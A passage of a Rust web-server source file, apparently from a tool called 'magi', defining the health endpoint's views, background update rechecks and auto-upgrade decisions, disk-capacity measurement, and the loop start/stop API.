2666    /// its own immutable executable generation rather than the web version.
2667    jobs: Vec<WorkerView>,
2668    upgrade_request_error: Option<UpgradeRequestFailure>,
2669}
2670
2671/// Public execution metadata only. Job payloads contain private configuration
2672/// and must never be returned by the health endpoint.
2673#[derive(Debug, Serialize)]
2674struct WorkerView {
2675    id: String,
2676    kind: String,
2677    key: String,
2678    pid: Option<u32>,
2679    status: crate::worker::Status,
2680    generation: String,
2681    version: Option<String>,
2682    queue_owned: bool,
2683}
2684
2685impl From<crate::worker::Job> for WorkerView {
2686    fn from(job: crate::worker::Job) -> Self {
2687        let queue_owned = job.kind == "task"
2688            && job
2689                .payload
2690                .get("standalone")
2691                .and_then(serde_json::Value::as_bool)
2692                != Some(true);
2693        Self {
2694            id: job.id,
2695            kind: job.kind,
2696            key: job.key,
2697            pid: job.pid,
2698            status: job.status,
2699            generation: job.generation,
2700            version: job.version,
2701            queue_owned,
2702        }
2703    }
2704}
2705
2706/// What `/api/health` knows about a release newer than this build.
2707///
2708/// A plain `Option<String>` for `to` could not distinguish "checked, and this
2709/// is already the newest" from "never checked" - both are `None` - and the
2710/// phone needs to tell those apart to decide whether the deck can be trusted
2711/// to have an opinion at all.
2712#[derive(Debug, Clone, Serialize)]
2713struct UpdateView {
2714    /// A newer release is known to exist.
2715    available: bool,
2716    /// Its tag, when `available`.
2717    to: Option<String>,
2718}
2719
2720/// [`updater::Progress`] as `/api/health` reports it.
2721#[derive(Debug, Serialize)]
2722struct UpgradeProgressView {
2723    trigger: updater::UpgradeTrigger,
2724    stage: updater::Stage,
2725    from: String,
2726    to: Option<String>,
2727    /// What [`updater::Stage::Parking`] is waiting on, in words: the run and
2728    /// the step it is finishing before the address is handed over.
2729    waiting_on: Option<String>,
2730    started_at: Timestamp,
2731    updated_at: Timestamp,
2732    detail: Option<String>,
2733    /// Seconds the stage has outlived its allowance, when it has - see
2734    /// [`updater::stall`]. `null` while the stage is moving normally.
2735    stuck_for_secs: Option<i64>,
2736    /// Which kind of stuck: `never_entered` (hand_over left no record of
2737    /// starting) or `stopped_beating`. `null` when not stuck.
2738    stuck_kind: Option<updater::StallKind>,
2739    /// `hand_over` is alive and waiting on the loop: however long that takes,
2740    /// it is not an overdue upgrade.
2741    handover_alive: bool,
2742}
2743
2744/// Whether [`run_update_recheck`] may act at all this tick.
2745///
2746/// The same two conditions [`updater::Checker::new`] and
2747/// [`upgrade_post`] already honour: an operator who wrote `[update] mode =
2748/// "off"`, or who set [`updater::NO_AUTOUPDATE_ENV`], means "never contact
2749/// GitHub from this process" - on a button press or on a timer alike.
2750fn should_spawn_recheck(cfg: &Update) -> bool {
2751    cfg.mode != UpdateMode::Off && !updater::disabled_by_env()
2752}
2753
2754/// Whether this tick should actually reach the network, once checking itself
2755/// is allowed.
2756///
2757/// An upgrade already in flight must not be raced by a check that discovers
2758/// a *newer* release while one is still installing - a phone watching
2759/// `/api/health` would see the answer change out from under the upgrade it
2760/// already asked for. Past that, [`updater::Checker::should_check`] is the
2761/// same throttle the CLI's own notify mode and [`cached_update_view`] rely
2762/// on; deferring to it here, rather than to [`run_update_recheck`]'s own
2763/// polling period, is what keeps this task's network use to at most once per
2764/// `[update] interval` regardless of how often it wakes up.
2765fn update_recheck_due(checker: &updater::Checker, progress: Option<&updater::Progress>) -> bool {
2766    if progress.is_some_and(|p| !p.stage.terminal()) {
2767        return false;
2768    }
2769    checker.should_check()
2770}
2771
2772/// How long [`run_update_recheck`] sleeps before its next wake-up.
2773///
2774/// A fraction of the configured `[update] interval` rather than a fixed
2775/// number: a fixed sleep longer than a short custom interval would leave the
2776/// deck waiting on its own wake-up rather than on `should_check`, so an
2777/// operator who set `interval = "1m"` to make the UI catch up quickly would
2778/// not see that take effect until the next restart - exactly the bug this
2779/// task exists to fix, just moved one level down. Scaling with the interval
2780/// keeps the wake-up prompt relative to what was actually configured, while
2781/// [`update_recheck_due`]'s call to [`updater::Checker::should_check`] is
2782/// still what caps the network calls themselves at one per interval,
2783/// regardless of how often this fires.
2784fn recheck_poll_period(cfg: &Update) -> Duration {
2785    (updater::effective_interval(cfg) / 8).clamp(UPDATE_RECHECK_POLL_MIN, UPDATE_RECHECK_POLL_MAX)
2786}
2787
2788#[derive(Debug, PartialEq, Eq)]
2789enum AutoUpgradeDecision {
2790    Skip(&'static str),
2791    Trigger,
2792}
2793
2794fn auto_upgrade_decision(
2795    cfg: &Update,
2796    disabled: bool,
2797    in_motion: bool,
2798    tag: &str,
2799    failed: Option<&str>,
2800) -> AutoUpgradeDecision {
2801    if !cfg.auto_restart || cfg.mode == UpdateMode::Off || disabled {
2802        AutoUpgradeDecision::Skip("disabled")
2803    } else if in_motion {
2804        AutoUpgradeDecision::Skip("upgrade already in progress")
2805    } else if failed == Some(tag) {
2806        AutoUpgradeDecision::Skip("this release already failed; restart to retry")
2807    } else {
2808        AutoUpgradeDecision::Trigger
2809    }
2810}
2811
2812/// Refresh the shared cache and optionally request the same handover as the UI.
2813async fn run_update_recheck(ui: Arc<Ui>) {
2814    loop {
2815        tokio::time::sleep(update_recheck_once(&ui).await).await;
2816    }
2817}
2818
2819async fn update_recheck_once(ui: &Arc<Ui>) -> Duration {
2820    let cfg = match Config::discover(&ui.repo, None) {
2821        Ok((cfg, _)) => cfg,
2822        Err(e) => {
2823            updater::log_warn(
2824                &ui.home,
2825                &format!("auto-upgrade: config unavailable: {e:#}"),
2826            );
2827            return UPDATE_RECHECK_POLL_MAX;
2828        }
2829    };
2830    if should_spawn_recheck(&cfg.update)
2831        && let Some(checker) = updater::Checker::new(&cfg.update)
2832    {
2833        let progress = updater::read_progress(&ui.home);
2834        let mut latest = checker.cached_update();
2835        if update_recheck_due(&checker, progress.as_ref()) {
2836            match checker.newer_release().await {
2837                Ok(found) => latest = found,
2838                Err(e) => tracing::warn!("background update recheck failed: {e:#}"),
2839            }
2840        }
2841        if cfg.update.auto_restart
2842            && let Some(latest) = latest
2843        {
2844            let response = begin_upgrade(ui, updater::UpgradeTrigger::Auto, Some(latest)).await;
2845            updater::log_step(
2846                &ui.home,
2847                &format!("auto-upgrade: request status {}", response.status()),
2848            );
2849        }
2850    }
2851    recheck_poll_period(&cfg.update)
2852}
2853
2854/// [`UpdateView`] from the same throttled, disk-only state
2855/// [`crate::updater::Checker::cached_update`] gives the CLI's `notify` mode -
2856/// never a live check. `[update] mode = "off"` answers "unknown" the same as
2857/// no cached state at all, which is correct: an operator who turned checking
2858/// off gets no opinion, not a stale one.
2859fn cached_update_view(cfg: Option<&Config>) -> UpdateView {
2860    let default;
2861    let cfg = match cfg {
2862        Some(cfg) => cfg,
2863        None => {
2864            default = Config::default();
2865            &default
2866        }
2867    };
2868    let latest = updater::Checker::new(&cfg.update).and_then(|c| c.cached_update());
2869    match latest {
2870        Some(latest) => UpdateView {
2871            available: true,
2872            to: Some(latest.tag_name),
2873        },
2874        None => UpdateView {
2875            available: false,
2876            to: None,
2877        },
2878    }
2879}
2880
2881/// [`updater::Progress`] as `/api/health` reports it, filling in `waiting_on`
2882/// from the parked run's own state when the stage is
2883/// [`updater::Stage::Parking`] - the run and the node it is finishing are
2884/// already on disk in `run.json`, so this reads them fresh rather than
2885/// trusting whatever was true the moment the park was requested.
2886fn upgrade_progress_view(ui: &Ui, progress: updater::Progress) -> UpgradeProgressView {
2887    let now = Timestamp::now();
2888    let lease = updater::read_lease(&ui.home);
2889    let alive = updater::live_lease(&progress, lease.as_ref(), now);
2890    let run_id = alive
2891        .and_then(|l| l.parked_run.as_deref())
2892        .or(progress.parked_run.as_deref());
2893    let parking = progress.stage == updater::Stage::Parking;
2894    let waited = alive.map_or_else(String::new, |l| {
2895        let secs = updater::waited_secs(l, now);
2896        format!(" (waited {} min so far)", secs / 60)
2897    });
2898    let run_text = run_id
2899        .filter(|_| parking)
2900        .map(|id| match read_run(&ui.runs, id).ok() {
2901            Some(run) => format!("run {} is finishing {}", run.short(), run.status.as_str()),
2902            None => format!("run {id} is finishing"),
2903        });
2904    let talks_text = Some(updater::talks_phrase(&progress.parked_talks))
2905        .filter(|t| parking && !t.is_empty())
2906        .map(|t| format!("{t} finishing"));
2907    let waiting_on = match (run_text, talks_text) {
2908        (None, None) => None,
2909        (run, talks) => {
2910            let parts: Vec<String> = [run, talks].into_iter().flatten().collect();
2911            Some(format!(
2912                "{} before the address is handed over{waited}",
2913                parts.join(" and ")
2914            ))
2915        }
2916    };
2917    let detail = progress
2918        .detail
2919        .clone()
2920        .or_else(|| updater::read_note(&ui.home, &progress));
2921    let stalled = updater::stall(&progress, lease.as_ref(), now);
2922    let waiting_on = waiting_on.or_else(|| stalled.as_ref().map(|s| s.waiting_on.clone()));
2923    UpgradeProgressView {
2924        trigger: progress.trigger,
2925        stuck_for_secs: stalled.as_ref().map(|s| s.age_secs),
2926        stuck_kind: stalled.map(|s| s.kind),
2927        handover_alive: alive.is_some(),
2928        stage: progress.stage,
2929        from: progress.from,
2930        to: progress.to,
2931        waiting_on,
2932        started_at: progress.started_at,
2933        updated_at: progress.updated_at,
2934        detail,
2935    }
2936}
2937
2938/// Last successful capacity observations, independent of admission/cleanup.
2939/// Cold or unavailable directory measurements are null, never invented zeros.
2940#[derive(Debug, Serialize)]
2941struct DiskView {
2942    /// Free bytes on the volume holding the runs, when measurable.
2943    #[serde(skip_serializing_if = "Option::is_none")]
2944    free_bytes: Option<u64>,
2945    /// Everything the runs directory occupies, when fully measurable.
2946    runs_bytes: Option<u64>,
2947    /// Everything the runs' worktrees occupy.
2948    worktrees_bytes: Option<u64>,
2949    /// The shared build cache's size, when the config names one.
2950    #[serde(skip_serializing_if = "Option::is_none")]
2951    cache_bytes: Option<u64>,
2952    /// Last bounded cleanup report, including retention and failure reasons.
2953    retention: Option<crate::retention::Report>,
2954}
2955
2956/// Capacity walks have their own demand-driven single flight, not the revision
2957/// worker: a large build cache must never delay revisions or a health response.
2958const DISK_REFRESH: Duration = Duration::from_secs(60);
2959
2960#[derive(Debug, Clone, PartialEq, Eq)]
2961struct DiskScope {
2962    runs: PathBuf,
2963    worktrees: PathBuf,
2964    cache: Option<PathBuf>,
2965}
2966
2967impl DiskScope {
2968    fn of(ui: &Ui, cfg: Option<&Config>) -> Self {
2969        Self {
2970            runs: ui.runs.clone(),
2971            worktrees: ui.worktrees_root.clone(),
2972            cache: cfg.and_then(Config::cache_dir),
2973        }
2974    }
2975}
2976
2977#[derive(Debug, Clone, Copy, Default)]
2978struct DiskCapacity {
2979    free_bytes: Option<u64>,
2980    runs_bytes: Option<u64>,
2981    worktrees_bytes: Option<u64>,
2982    cache_bytes: Option<u64>,
2983}
2984
2985impl DiskCapacity {
2986    fn measure(scope: &DiskScope) -> Self {
2987        Self {
2988            free_bytes: crate::disk::free_bytes(&scope.runs).ok(),
2989            runs_bytes: disk_capacity_size(&scope.runs),
2990            worktrees_bytes: disk_capacity_size(&scope.worktrees),
2991            cache_bytes: scope.cache.as_deref().and_then(disk_capacity_size),
2992        }
2993    }
2994
2995    fn retain_successes(&mut self, next: Self) {
2996        self.free_bytes = next.free_bytes.or(self.free_bytes);
2997        self.runs_bytes = next.runs_bytes.or(self.runs_bytes);
2998        self.worktrees_bytes = next.worktrees_bytes.or(self.worktrees_bytes);
2999        self.cache_bytes = next.cache_bytes.or(self.cache_bytes);
3000    }
3001}
3002
3003/// Like disk::dir_size, do not follow links. Unlike its admission-oriented
3004/// best-effort total, an incomplete observation must not look like an empty tree.
3005fn disk_capacity_size(path: &FsPath) -> Option<u64> {
3006    let metadata = match std::fs::symlink_metadata(path) {
3007        Ok(metadata) => metadata,
3008        Err(error) if error.kind() == std::io::ErrorKind::NotFound => return Some(0),
3009        Err(_) => return None,
3010    };
3011    if !metadata.is_dir() {
3012        return Some(if metadata.is_file() {
3013            metadata.len()
3014        } else {
3015            0
3016        });
3017    }
3018    let mut total = 0;
3019    let mut stack = vec![path.to_owned()];
3020    while let Some(dir) = stack.pop() {
3021        for entry in std::fs::read_dir(dir).ok()? {
3022            let entry = entry.ok()?;
3023            let metadata = entry.metadata().ok()?;
3024            if metadata.is_dir() {
3025                stack.push(entry.path());
3026            } else if metadata.is_file() {
3027                total += metadata.len();
3028            }
3029        }
3030    }
3031    Some(total)
3032}
3033
3034#[derive(Debug, Default)]
3035struct DiskObservation {
3036    scope: Option<DiskScope>,
3037    capacity: DiskCapacity,
3038    in_flight: bool,
3039    finished: Option<std::time::Instant>,
3040}
3041
3042impl DiskObservation {
3043    fn observe(
3044        state: &Arc<Mutex<Self>>,
3045        scope: DiskScope,
3046        measure: impl FnOnce(&DiskScope) -> DiskCapacity + Send + 'static,
3047    ) -> DiskCapacity {
3048        let mut observation = state.lock().unwrap_or_else(PoisonError::into_inner);
3049        if observation.scope.as_ref() != Some(&scope) {
3050            observation.scope = Some(scope.clone());
3051            observation.capacity = DiskCapacity::default();
3052            observation.finished = None;
3053        }
3054        let capacity = observation.capacity;
3055        if observation.in_flight
3056            || observation
3057                .finished
3058                .is_some_and(|at| at.elapsed() < DISK_REFRESH)
3059        {
3060            return capacity;
3061        }
3062        observation.in_flight = true;
3063        drop(observation);
3064
3065        let refresh = DiskRefresh {
3066            state: Arc::clone(state),
3067            scope,
3068        };
3069        tokio::task::spawn_blocking(move || {
3070            let next = measure(&refresh.scope);
3071            let mut observation = refresh.state.lock().unwrap_or_else(PoisonError::into_inner);
3072            if observation.scope.as_ref() == Some(&refresh.scope) {
3073                observation.capacity.retain_successes(next);
3074            }
3075            drop(observation);
3076            // The guard also clears the flight on panic or a cancelled,
3077            // not-yet-started blocking job. No failed scan can wedge health.
3078            drop(refresh);
3079        });
3080        capacity
3081    }
3082}
3083
3084struct DiskRefresh {
3085    state: Arc<Mutex<DiskObservation>>,
3086    scope: DiskScope,
3087}
3088
3089impl Drop for DiskRefresh {
3090    fn drop(&mut self) {
3091        let mut observation = self.state.lock().unwrap_or_else(PoisonError::into_inner);
3092        observation.in_flight = false;
3093        if observation.scope.as_ref() == Some(&self.scope) {
3094            // Wait a full period after completion, including failed scans.
3095            observation.finished = Some(std::time::Instant::now());
3096        }
3097    }
3098}
3099
3100impl DiskView {
3101    /// Return immediately, retaining known capacity while one worker refreshes.
3102    fn of(ui: &Ui, cfg: Option<&Config>) -> Self {
3103        let capacity = DiskObservation::observe(
3104            &ui.monitor.disk,
3105            DiskScope::of(ui, cfg),
3106            DiskCapacity::measure,
3107        );
3108        Self::with_capacity(ui, capacity)
3109    }
3110
3111    fn with_capacity(ui: &Ui, capacity: DiskCapacity) -> Self {
3112        Self {
3113            free_bytes: crate::disk::free_bytes(&ui.runs)
3114                .ok()
3115                .or(capacity.free_bytes),
3116            runs_bytes: capacity.runs_bytes,
3117            worktrees_bytes: capacity.worktrees_bytes,
3118            cache_bytes: capacity.cache_bytes,
3119            retention: ui
3120                .runs
3121                .parent()
3122                .and_then(|home| std::fs::read(home.join("retention.json")).ok())
3123                .and_then(|bytes| serde_json::from_slice(&bytes).ok()),
3124        }
3125    }
3126}
3127
3128/// The daemon's state as the UI presents it.
3129#[derive(Debug, Serialize)]
3130struct DaemonView {
3131    running: bool,
3132    idle: Option<bool>,
3133    dispatch_wait: Option<daemon::DispatchWait>,
3134    pid: Option<u32>,
3135    /// Every task and run currently in flight. Empty when idle; more than
3136    /// one entry when `Config::daemon.max_concurrent_runs` has more than one
3137    /// run going at once.
3138    current: Vec<daemon::Current>,
3139    completed: Option<u64>,
3140    stale_for_secs: Option<i64>,
3141}
3142
3143impl DaemonView {
3144    /// Judge a status file. Staleness is [`daemon::Reading::running`]'s call,
3145    /// not this UI's — a crashed daemon must not look alive here while
3146    /// `doctor` calls it dead.
3147    fn of(status: Option<daemon::Reading>) -> Self {
3148        let Some(status) = status else {
3149            return Self {
3150                running: false,
3151                idle: None,
3152                dispatch_wait: None,
3153                pid: None,
3154                current: Vec::new(),
3155                completed: None,
3156                stale_for_secs: None,
3157            };
3158        };
3159        let now = Timestamp::now();
3160        let age = status.age_secs(now);
3161        Self {
3162            running: status.running(now),
3163            idle: Some(status.idle),
3164            dispatch_wait: status.dispatch_wait,
3165            pid: status.pid,
3166            current: status.current,
3167            completed: Some(status.completed),
3168            stale_for_secs: age,
3169        }
3170    }
3171}
3172
3173// Discover display configuration off the request path. Capacity measurement
3174// retains its separate single flight and scope/failure handling below.
3175fn refresh_health_config(ui: &Arc<Ui>) {
3176    let mut cache = ui
3177        .monitor
3178        .disk_cache
3179        .lock()
3180        .unwrap_or_else(PoisonError::into_inner);
3181    if cache.loading
3182        || cache
3183            .measured
3184            .is_some_and(|at| at.elapsed() < Duration::from_secs(60))
3185    {
3186        return;
3187    }
3188    cache.loading = true;
3189    let weak = Arc::downgrade(ui);
3190    std::thread::spawn(move || {
3191        let Some(ui) = weak.upgrade() else { return };
3192        let cfg = deputy_config(&ui.repo);
3193        let update = cached_update_view(cfg.as_ref());
3194        let mut cache = ui
3195            .monitor
3196            .disk_cache
3197            .lock()
3198            .unwrap_or_else(PoisonError::into_inner);
3199        cache.config = cfg;
3200        cache.update = Some(update);
3201        cache.measured = Some(std::time::Instant::now());
3202        cache.loading = false;
3203    });
3204}
3205
3206fn health_counts(
3207    ui: &Ui,
3208    fallback_questions_rev: u64,
3209) -> ApiResult<(usize, usize, usize, u64, usize)> {
3210    let mut index = ui
3211        .monitor
3212        .health_index
3213        .lock()
3214        .unwrap_or_else(PoisonError::into_inner);
3215    let ids = run_ids(&ui.runs);
3216    let seen: HashSet<_> = ids.iter().cloned().collect();
3217    index.runs.retain(|id, _| seen.contains(id));
3218    let mut unreadable = 0;
3219    for id in ids {
3220        // Recheck identity on every request, including atomic replacements
3221        // with preserved length/mtime. A failed stat is never cached as good.
3222        let identity = file_identity(&ui.runs.join(&id).join("run.json"));
3223        let bad = match identity {
3224            Ok(identity) => {
3225                if index.runs.get(&id).is_none_or(|(old, _)| *old != identity) {
3226                    let bad = read_run(&ui.runs, &id).is_err();
3227                    index.runs.insert(id.clone(), (identity, bad));
3228                    #[cfg(test)]
3229                    {
3230                        index.run_parses += 1;
3231                    }
3232                }
3233                index.runs[&id].1
3234            }
3235            Err(_) => true,
3236        };
3237        unreadable += usize::from(bad);
3238    }
3239    let questions_rev = try_stamps(ui.questions.root(), false, true)
3240        .map(|stamps| stamps_revision(&stamps))
3241        .unwrap_or(fallback_questions_rev);
3242    if index.questions.as_ref().is_none_or(|counts| {
3243        counts.revision != questions_rev || counts.measured.elapsed() >= QUESTION_COUNTS_TTL
3244    }) {
3245        let questions = ui.questions.list();
3246        index.questions = Some(QuestionCounts {
3247            revision: questions_rev,
3248            measured: std::time::Instant::now(),
3249            open: questions.iter().filter(|q| q.status.open()).count(),
3250            owner: questions
3251                .iter()
3252                .filter(|q| {
3253                    q.status.open() && (!q.waiting_on_agent() || ui.questions.deputy_exhausted(q))
3254                })
3255                .count(),
3256        });
3257    }
3258    let notifications_rev =
3259        stamps_revision(&notice_and_decision_stamps(ui).map_err(anyhow::Error::from)?);
3260    if index
3261        .notices
3262        .is_none_or(|(rev, _)| rev != notifications_rev)
3263    {
3264        index.notices = Some((notifications_rev, ui.notices.count_unread()));
3265    }
3266    let questions = index.questions.as_ref().unwrap();
3267    Ok((
3268        unreadable,
3269        questions.open,
3270        questions.owner,
3271        notifications_rev,
3272        index.notices.unwrap().1,
3273    ))
3274}
3275
3276async fn health(State(ui): State<Arc<Ui>>) -> ApiResult<Json<HealthView>> {
3277    let revisions = ui.monitor.revisions(&ui).await?;
3278    refresh_health_config(&ui);
3279    bulk_blocking(ui.monitor.bulk_slots.clone(), move || {
3280        // One read of the status file for the two fields that describe it, so
3281        // `daemon` and `loop` in the same answer cannot disagree about who is
3282        // running the loop.
3283        let reading = daemon::read_status(&ui.home);
3284        // Read on its own line, not inside the literal below: the loop's lock
3285        // is not reentrant, and a guard taken as a temporary there would still
3286        // be held when `loop_view` took it again.
3287        let loop_rev = ui.lock_loop().rev;
3288        let (
3289            runs_unreadable,
3290            questions_open,
3291            questions_needs_owner,
3292            notifications_rev,
3293            notifications_unread,
3294        ) = health_counts(&ui, revisions.2)?;
3295        let ((cfg, config_observed, sizes, measured), update) = {
3296            let cache = ui
3297                .monitor
3298                .disk_cache
3299                .lock()
3300                .unwrap_or_else(PoisonError::into_inner);
3301            (
3302                (
3303                    cache.config.clone(),
3304                    cache.measured.is_some(),
3305                    cache.disk.clone(),
3306                    cache.measured,
3307                ),
3308                cache.update.clone().unwrap_or(UpdateView {
3309                    available: false,
3310                    to: None,
3311                }),
3312            )
3313        };
3314        // Retain the base's capacity observation independently of config
3315        // refreshes. A cold config read may still be pending; an existing
3316        // capacity flight must remain visible to concurrent health requests.
3317        let prior_capacity = {
3318            let mut observation = ui
3319                .monitor
3320                .disk
3321                .lock()
3322                .unwrap_or_else(PoisonError::into_inner);
3323            // Adopt a completed size snapshot only before the scoped capacity
3324            // observer has started. Later scope changes remain its authority.
3325            if observation.scope.is_none()
3326                && let Some(sizes) = sizes
3327            {
3328                observation.scope = Some(DiskScope::of(&ui, cfg.as_ref()));
3329                observation.capacity = DiskCapacity {
3330                    runs_bytes: Some(sizes.runs),
3331                    worktrees_bytes: Some(sizes.worktrees),
3332                    cache_bytes: sizes.cache,
3333                    free_bytes: None,
3334                };
3335                observation.finished = measured;
3336            }
3337            observation.scope.as_ref().map(|_| observation.capacity)
3338        };
3339        let disk = if config_observed {
3340            serde_json::to_value(DiskView::of(&ui, cfg.as_ref())).ok()
3341        } else {
3342            serde_json::to_value(DiskView::with_capacity(
3343                &ui,
3344                prior_capacity.unwrap_or_default(),
3345            ))
3346            .ok()
3347        };
3348        let upgrade = updater::read_progress(&ui.home).map(|p| upgrade_progress_view(&ui, p));
3349        let jobs = crate::worker::active(&ui.home).map_err(ApiError::from)?;
3350        #[cfg(not(test))]
3351        let looping = ui.runtime_loop_view(reading.clone(), &jobs);
3352        #[cfg(test)]
3353        let looping = ui.loop_view(reading.clone());
3354        Ok(Json(HealthView {
3355            jobs: jobs.into_iter().map(WorkerView::from).collect(),
3356            version: env!("CARGO_PKG_VERSION"),
3357            home: ui.home.display().to_string(),
3358            queue_rev: revisions.0,
3359            runs_rev: revisions.1,
3360            questions_rev: revisions.2,
3361            talks_rev: revisions.3,
3362            notifications_rev,
3363            notifications_unread,
3364            loop_rev,
3365            runs_unreadable,
3366            questions_open,
3367            questions_needs_owner,
3368            daemon: DaemonView::of(reading.clone()),
3369            looping,
3370            disk,
3371            update,
3372            upgrade,
3373            upgrade_request_error: ui
3374                .upgrade_request_error
3375                .lock()
3376                .unwrap_or_else(PoisonError::into_inner)
3377                .clone(),
3378        }))
3379    })
3380    .await
3381}
3382
3383/// What `/api/loop` answers, and what `/api/health` carries as `loop`.
3384#[derive(Debug, Serialize)]
3385struct LoopView {
3386    /// A scheduler is running, independently of this web process.
3387    running: bool,
3388    /// The scheduler has been asked to stop scheduling new work.
3389    stopping: bool,
3390    /// An explicit operator park was requested, independently from updates.
3391    parking: bool,
3392    /// This scheduler supports durable controls from any web generation.
3393    owned: bool,
3394    /// Repository the loop uses for tasks that name none - what it was
3395    /// started with while it runs, and what a start would use before that.
3396    repo: String,
3397    /// Merge mode override in force, or `null` when each repository's own
3398    /// config decides.
3399    merge: Option<String>,
3400    /// Why the last loop in this process ended, when it ended badly.
3401    ///
3402    /// The only place a crashed loop is visible to someone holding a phone.
3403    /// It is logged at error level as well, but a terminal nobody kept open
3404    /// is not a report, and a loop that died at 3am must not read as merely
3405    /// stopped in the morning. Named as [`Task::last_error`] is, because it
3406    /// answers the same question about the same kind of failure.
3407    last_error: Option<String>,
3408    /// The status file, judged the same way `/api/health` judges it: this is
3409    /// what says whether a loop is alive in some *other* process.
3410    daemon: DaemonView,
3411}
3412
3413/// A legacy embedded scheduler that this web process cannot control.
3414///
3415/// Worker-protocol schedulers use durable controls regardless of which process
3416/// started them. Older schedulers are identified by their foreign heartbeat.
3417#[derive(Debug, Clone, Copy)]
3418struct Foreign {
3419    /// The pid the other process published, when it published one.
3420    pid: Option<u32>,
3421}
3422
3423impl Foreign {
3424    /// Another process's live loop, or `None` when this process is free to
3425    /// run one.
3426    fn of(reading: Option<&daemon::Reading>) -> Option<Self> {
3427        // A fresh heartbeat with no pid in it is still evidence of a live
3428        // daemon. "Some other process" is the honest answer, and refusing
3429        // to start beside it is the safe one.
3430        if reading.is_some_and(|r| r.worker_protocol.unwrap_or_default() >= 1) {
3431            return None;
3432        }
3433        daemon::foreign_loop(reading, Timestamp::now(), std::process::id()).map(|pid| Self { pid })
3434    }
3435
3436    /// How a conflict names it. The pid is the whole point of the message: it
3437    /// is what the operator needs to find the terminal that owns the loop.
3438    fn who(&self) -> String {
3439        match self.pid {
3440            Some(pid) => format!("another magi process (pid {pid})"),
3441            None => "another magi process".to_owned(),
3442        }
3443    }
3444}
3445
3446/// How a loop is started, as a future this module can hold onto.
3447///
3448/// A plain function pointer, so [`Ui`] stays `Debug` and `Clone` without a
3449/// trait object or a hand-written `Debug` impl for the sake of one seam.
3450type UpgradeRunner = fn(PathBuf) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
3451
3452#[cfg(test)]
3453type Launch = fn(daemon::Opts, daemon::Stop) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
3454
3455/// The real loop: [`daemon::serve_until`], boxed to fit [`Launch`].
3456#[cfg(test)]
3457fn launch_daemon(
3458    opts: daemon::Opts,
3459    stop: daemon::Stop,
3460) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
3461    Box::pin(daemon::serve_until(opts, stop))
3462}
3463
3464/// Local web-control revisions and errors, plus the unit-test launch seam.
3465#[derive(Debug, Default)]
3466struct LoopState {
3467    /// The loop, while there is one.
3468    #[cfg(test)]
3469    live: Option<Live>,
3470    /// Local control changes streamed as `loop_rev`; actual scheduler and
3471    /// execution ownership comes from durable status and OS-held worker leases.
3472    rev: u64,
3473    /// Why the last loop ended, when it ended badly. See
3474    /// [`LoopView::last_error`].
3475    last_error: Option<String>,
3476}
3477
3478/// A loop in flight.
3479#[cfg(test)]
3480#[derive(Debug)]
3481struct Live {
3482    /// The cooperative stop, shared with the loop task.
3483    stop: daemon::Stop,
3484    /// The task itself, kept only to answer whether it is still there: a loop
3485    /// that panicked never records its own end, and without this the view
3486    /// would go on reporting a loop that no longer exists - the one lie that
3487    /// would leave the operator with no button to press.
3488    handle: tokio::task::JoinHandle<()>,
3489    /// What the loop was started with, so the view reports the repository and
3490    /// merge mode its runs will actually use rather than what an edit to the
3491    /// config since would give.
3492    opts: daemon::Opts,
3493}
3494
3495#[cfg(test)]
3496impl Live {
3497    /// Is the task still there? See [`Live::handle`].
3498    fn alive(&self) -> bool {
3499        !self.handle.is_finished()
3500    }
3501}
3502
3503/// Take the loop lock, recovering from a poisoned one.
3504///
3505/// What this mutex holds is a stop flag, a task handle and two counters, none
3506/// of which a panic elsewhere can leave in a state worth refusing to read.
3507/// Propagating the poison instead would mean an operator who can see the loop
3508/// running and can no longer stop it from the only surface they have.
3509fn lock_or_recover(state: &Mutex<LoopState>) -> MutexGuard<'_, LoopState> {
3510    state.lock().unwrap_or_else(PoisonError::into_inner)
3511}
3512
3513/// `GET /api/loop`.
3514async fn loop_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<LoopView>> {
3515    blocking(move || {
3516        let reading = daemon::read_status(&ui.home);
3517        #[cfg(not(test))]
3518        let view = ui.try_loop_view(reading)?;
3519        #[cfg(test)]
3520        let view = ui.loop_view(reading);
3521        Ok(Json(view))
3522    })
3523    .await
3524}
3525
3526/// The body of `POST /api/loop`.
3527///
3528/// One required field and nothing else: no `default` and no unknown fields,
3529/// so a body that fails to say which way the switch was flipped is a 400
3530/// rather than a tap that quietly does the opposite of what was pressed.
3531#[derive(Debug, Deserialize)]
3532#[serde(deny_unknown_fields)]
3533struct LoopCommand {
3534    running: bool,
3535    /// Stop the run in flight at its next node boundary rather than letting it
3536    /// finish.
3537    ///
3538    /// Defaults to false, so the plain stop keeps meaning what it meant: a
3539    /// competition is tens of minutes of paid work and finishing it is
3540    /// normally the cheapest thing to do. A park is for the operator who
3541    /// wants the process gone now - to replace the binary, most of all - and
3542    /// it costs at most the node in progress because every node writes its
3543    /// state before the next one starts.
3544    #[serde(default)]
3545    park: bool,
3546}
3547
3548/// Start or control the detached scheduler without waiting for execution
3549/// workers. Only an explicit park asks workers to stop at a node boundary.
3550async fn loop_post(
3551    State(ui): State<Arc<Ui>>,
3552    body: std::result::Result<Json<LoopCommand>, JsonRejection>,
3553) -> ApiResult<Json<LoopView>> {
3554    // Taken as a `Result` so a malformed body is a 400 like every other route
3555    // here, rather than axum's default 422 that the UI has no branch for.
3556    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3557    #[cfg(not(test))]
3558    {
3559        if body.running {
3560            ui.start_detached_loop().await?;
3561        } else {
3562            let foreign = Foreign::of(daemon::read_status(&ui.home).as_ref());
3563            ui.stop_loop(foreign, body.park)?;
3564        }
3565        Ok(Json(ui.try_loop_view(daemon::read_status(&ui.home))?))
3566    }
3567    #[cfg(test)]
3568    {
3569        blocking(move || {
3570            let reading = daemon::read_status(&ui.home);
3571            let foreign = Foreign::of(reading.as_ref());
3572            if body.running {
3573                ui.start_loop(foreign)?;
3574            } else {
3575                ui.stop_loop(foreign, body.park)?;
3576            }
3577            Ok(Json(ui.loop_view(reading)))
3578        })
3579        .await
3580    }
3581}
3582
3583/// What `POST /api/upgrade` set in motion.
3584#[derive(Debug, Serialize)]
3585struct UpgradeView {
3586    /// The version this process is running.
3587    from: String,
3588    /// The release it is replacing itself with, when there is one.
3589    to: Option<String>,
3590    /// What the operator should expect to happen next.
3591    detail: String,
3592}
3593
3594/// The stage of an upgrade that is still moving, if the record says so.
